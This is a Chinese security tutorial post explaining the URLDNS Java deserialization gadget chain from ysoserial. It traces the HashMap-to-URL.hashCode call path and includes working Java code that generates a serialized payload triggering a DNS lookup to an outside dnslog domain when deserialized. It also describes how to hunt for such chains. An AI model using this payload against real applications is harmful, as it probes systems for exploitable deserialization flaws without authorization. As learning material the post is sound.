年轻人的第一条反序列化链-URLDNS

admin 2024年5月17日18:18:25评论1 views字数 3782阅读12分36秒阅读模式

前言

URLDNS 是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是一个可以“利用”的命令,而是一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。但是因为其使用Java内置的类构造,对第三方库没有依赖,并且gadget也简单,适合成为我们初学者刚开始学习反序列化利用链的一个很好的开始

1. URLDNS构造

构造代码

import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class URLDNS_Test {    public static void main(String[] args) throws MalformedURLException {        HashMap<URL,Integer> map = new HashMap<URL,Integer>();        URL url = new URL("http://afe2aed36f.ipv6.1433.eu.org.");        map.put(url,1);    }}

我们运行之后发现dnslog收到了一个请求

年轻人的第一条反序列化链-URLDNS

1.1 HashMap的put方法触发请求分析

在最后map.put()方法前打下断点,跟着调试走

年轻人的第一条反序列化链-URLDNS

进入到HashMap.java的put方法中(如果调试点击步入直接过去的,可以使用shift+F7智能步入)

年轻人的第一条反序列化链-URLDNS

里面的putval方法是往HashMap中放入键值对的方法,在放之前对key计算了hash,继续跟到hash方法中

传入的key是一个url对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode

我们进入到URL.Java文件中跟踪到hashCode方法,这个方法的目的是计算并返回对象的哈希码

然后hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算

年轻人的第一条反序列化链-URLDNS

所以if语句里的条件不成立,继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例

年轻人的第一条反序列化链-URLDNS

继续跟进,发现会调用getHostAddress()方法

年轻人的第一条反序列化链-URLDNS

年轻人的第一条反序列化链-URLDNS

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。

2 URLDNS链分析

2.1 前提

我们先明确产生漏洞的攻击路线:

前提:继承Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

2.2 分析

首先,攻击前提,那必然是要继承了 Serializable 这个接口

HashMap 确实继承了 Serializable 这个接口。

年轻人的第一条反序列化链-URLDNS

发现有入口readobject()

我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了 readObject 的操作,再将 Key 和 Value 两个变量扔进 hash 这个方法里

年轻人的第一条反序列化链-URLDNS

年轻人的第一条反序列化链-URLDNS

若传入的参数 key 不为空,则 h = key.hashCode(),hashCode()是一个object,满足我们 调用常见的函数 这一条件

年轻人的第一条反序列化链-URLDNS

2.3 攻击分析

tip:如果在测试过程中发现dnslog没有接受到请求,换一个进行尝试

我们自己生成一个payload

public class URLDNS_Test2 {    public static void serialize(Object obj) throws IOException{        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser"));        oos.writeObject(obj);    }    public static void main(String[] args) throws Exception{        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();        URL url = new URL("http://bfe70140f8.ipv6.1433.eu.org.");        Class c = url.getClass();        Field hashcodefile = c.getDeclaredField("hashCode");        hashcodefile.setAccessible(true);        hashcodefile.set(url,1234);        hashmap.put(url,1);        hashcodefile.set(url,-1);        serialize(hashmap);    }}

我们先设置hashcodefile.set(url,1234);

上面分析过,hashcode默认为-1,会自动执行下面的操作进行一次url访问,所以我们先设置一个非-1值,然后put()添加进去之后,再重新设置为-1,为反序列化的网络访问打下基础

年轻人的第一条反序列化链-URLDNS

然后我们执行反序列化上面的ser.ser文件,就会触发一次dns访问

public class URLDNS_Test1 {    public static void main(String[] args) throws IOException, ClassNotFoundException {        unserialize("ser.ser");    }    public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));        Object obj = objectInputStream.readObject();    }}

2.4 ysoserial的payload分析

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。

ysoserial/URLDNS.java at master · frohoff/ysoserial (github.com)

打开ysoserial/payloads/URLDNS.java的源码,可以看到它的调用链

*   Gadget Chain: 

*     HashMap.readObject() 

*       HashMap.putVal() 

*         HashMap.hash() 

*           URL.hashCode()

年轻人的第一条反序列化链-URLDNS

年轻人的第一条反序列化链-URLDNS

我们查看ysoserial的urldns的payload生成代码,和咱们上面的攻击代码相差不大

第一点是禁止序列化时进行请求,1.2.3中咱们是通过设置hashCode非-1,而ysoserial是通过重写空的getHostAddress方法来实现

第二点是在put方法之后需要把hashCode设置为-1,然后在反序列化中触发访问请求

ysoserial的payload生成:

年轻人的第一条反序列化链-URLDNS

3.利用链挖掘角度分析URLDNS链

如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系

年轻人的第一条反序列化链-URLDNS

然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情

1、参数可控 

2、类可反序列化,继承了序列化接口

3、最终走到反序列化触发的readObject

所以整个链路线为:

  • InetAddress.getByName(String) (java.net)

    • Url.getHostAddress() (java.net)

      • Url.hashcode() (java.net)

        • HashMap.hash(Object) (java.net)

          • HashMap.readObject()

年轻人的第一条反序列化链-URLDNS

年轻人的第一条反序列化链-URLDNS

4.参考文章

https://www.cnblogs.com/nice0e3/p/13772184.html#0x00-%E5%89%8D%E8%A8%80

https://drun1baby.top/2022/05/17/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-01-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%88%A9%E7%94%A8/

https://developer.aliyun.com/article/1215712#slide-2

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):年轻人的第一条反序列化链-URLDNS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日18:18:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   年轻人的第一条反序列化链-URLDNShttps://cn-sec.com/archives/2750090.html

发表评论

匿名网友 填写信息